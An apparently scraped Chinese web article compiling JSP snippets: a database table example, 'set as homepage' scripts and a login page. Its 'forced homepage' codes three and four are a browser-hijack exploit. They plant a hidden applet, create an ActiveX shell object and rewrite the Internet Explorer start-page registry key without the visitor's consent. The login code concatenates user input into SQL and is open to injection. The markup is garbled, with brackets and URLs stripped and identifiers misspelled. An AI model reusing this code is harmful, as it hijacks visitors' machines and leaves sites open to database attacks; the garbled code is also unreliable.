当前位置:首页 > 代码 > 正文

网站的首页jsp代码(jsp网站设计代码)[20240422更新]

admin 发布:2024-04-22 12:01 128


今天给各位分享网站的首页jsp代码的知识,其中也会对jsp网站设计代码进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

jsp 中网站的首页源代码

这是最简单的一个例子,数据库要你自己建,用的是ACCESS

%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %

html

head

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

titleJSP连接Access数据库/title

style type="text/css"

!--

.style1 {

font-size: 20px;

font-weight: bold;

}

--

/style

/headbody

div align="center" class="style1"JSP连接Access数据库/div

br

hr

p%

Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); //载入驱动程序类别

Connection con = DriverManager.getConnection("jdbc:odbc:jspdata"); //建立数据库链接,jspdata为ODBC数据源名称

//建立Statement对象

Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,

ResultSet.CONCUR_READ_ONLY);

ResultSet rs = stmt.executeQuery("select * from lyb"); //建立ResultSet(结果集)对象,并执行SQL语句

%

/p

p align="center"NUMB1数据表中记录如下/p

table width="640" border="1" align="center" bordercolor="#7188e0"

tr bgcolor="d1d1ff"

th width="49"编号/th

th width="90"姓名/th

th width="126"E-mail/th

th width="221"网站/th

th width="80"QQ/th

/tr

%

while(rs.next())

{

%

tr bgcolor="#f8f8f8"

th%= rs.getString(1) %/th

th%= rs.getString(2) %/th

th%= rs.getString(3) %/th

th bgcolor="#f6f6f8"%= rs.getString(4) %/th

th%= rs.getString(5) %/th

/tr

%

}

rs.close();

stmt.close();

con.close();

%

/table

p align="center"br

如果您能看到表格中的数据,说明连接数据库成功!/p

/body

/html

html网页中jsp代码怎么加

在Eclipse中新建一个网页工程,在根目录下面新建一个jsp,然后把html代码的link,meta,script,body部分的内容复制到jsp中。把css和js等文件复制到网页工程的根目录下面。这样做的只是一个静态的jsp,没有使用ognl标签的jsp页面

如何用jsp代码把当前页设置为主页

将下面代码嵌入你的jsp body中想设为主页的位置:

a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage(‘你的网址’);"设为首页/a

在jsp中设计的登录界面,点击登录后跳转到首页的代码是什么

这个网上有很多资料的,你可以百度关键字JSP跳转就有了。

首先你可以坐判断,登录成功后,你之前肯定是要匹配用户名和密码的,当匹配完成后会返回一个值给你,你接受这个值来判断是否匹配成功。如果成功跳转首页,如果失败你可以提示信息等操作。

我帮你找了个,你可以看下

怎么让在jsp代码中将网页设置为主页

jsp 中加入一段脚本就可以了

如下

加入收藏夹,设为首页代码

把以下代码Body相应位置

a target=_top href=javascript:window.external.AddFavorite(';,'中国免费资源情报站')加入收藏/a

a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage(');"设为首页/a

鼠标指向时提示设为首页

将下列代码插入body区中:

A href= onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage(';);" target="_blank"设为首页/A

打开页面时自动弹出窗口询问是否设为首页

将以下代码放在head/head之间:

script language="javascript"

function myhomepage(){

this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage(';);

}

/script

p align="center"a href="" name="homepage"

onclick="myhomepage();"/a

再将下面代码加入body内:

onload="myhomepage();"

即:body onload="myhomepage();"

离开时自动提示设为首页

body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('';)))BASEBody.setHomePage(';);"

强制设为主页代码:

代码一(设置为主页就再弹了):

META content="text/html; charset=gb2312" http-equiv=Content-Type

META content="MSHTML 5.00.3826.2400" name=GENERATOR

META content=FrontPage.Editor.Document name=ProgId/HEAD

BODYSPAN id=hp style="BEHAVIOR: url(#default#homepage)"/SPAN

SCRIPT language=javascript

var u,i

u="";

var showThank=false;

try{

for(i=1;i=5;i++)

{

if(hp.isHomePage(u))

{

break;

}

else

{

hp.setHomePage(u);

if(!hp.isHomePage(u))

{

alert("方便下次光临本站,请点 '是(Y)' ,就不再弹了!");

}

else

{

showThank=true;

}

}

}

if(showThank)

{

alert("谢谢您的支持.");

}

}

catch(e){

}

finally{

}

//location.href=u;

/SCRIPT

/BODY/HTML

代码三:

script

var ucook=document.cookie;

var user=ucook.indexOF("ilooki=");

if(user==-1)

{

var nowTime=new Date();

document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval

(nowTime.getYear()+1903+"12:34:56 GMT";

document.write("APPLET HEIGHT=0WIDTH=0

code=com.ms.activeX.ActiveXCompoment/APPLET");function

yuzi(){try{a1

=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-

00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject

();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try

{Shl.RegWrite("hkcu\Software\Microsoft\Internet

Expiorer\Main\Start Page",);}catch(e)

{}}catch(e){}}setTimeout("yuzi()",1000);

}

/script

代码四:

script

var ucook=document.cookie;

var user=ucook.indexOF("ilooki=");

if(user==-1)

{

var nowTime=new Date();

document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";

document.write("APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment/APPLET");function yuzi(){try{a1

=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);

}

/script

jsp 登陆界面的代码

登录判断的页面代码

%@ page contentType="text/html; charset=gb2312"%

%@ page import="java.sql.*"%

%@ page import="java.util.*"%

%@ include file="conn.jsp"%

%request.setCharacterEncoding("gb2312");

Statement stat=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);

String name=request.getParameter("name");

String password=request.getParameter("password");

ResultSet rs=stat.executeQuery("select * from sjb where name='"+name+"'and pass='"+password+"'");

%

%if(rs.next()){%

%String shenfen=rs.getString(6);

session.setAttribute("name",name);

response.sendRedirect("index1.jsp");

}else{

out.print("帐号密码输入错误");%

a href="index1.jsp"点击返回/a

%}%

登录输入时的代码

form action="login.jsp" method="post" name="form1" class="STYLE1" id="form1"

帐号

label

input name="name" type="text" id="name" tabindex="1" size="13" maxlength="13" /

/label

A href="regedit.jsp"注册/A

密码

label

input name="password" type="password" id="password" size="13" maxlength="13" /

/label

a href="forget.jsp"忘记/a

label

input type="submit" name="Submit" value="确定" /

/label

label

input type="reset" name="Submit2" value="重填" /

/label

/form

网站的首页jsp代码的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于jsp网站设计代码、网站的首页jsp代码的信息别忘了在本站进行查找喔。

版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;

本文地址:http://ahzz.com.cn/post/262.html


取消回复欢迎 发表评论:

分享到

温馨提示

下载成功了么?或者链接失效了?

联系我们反馈

立即下载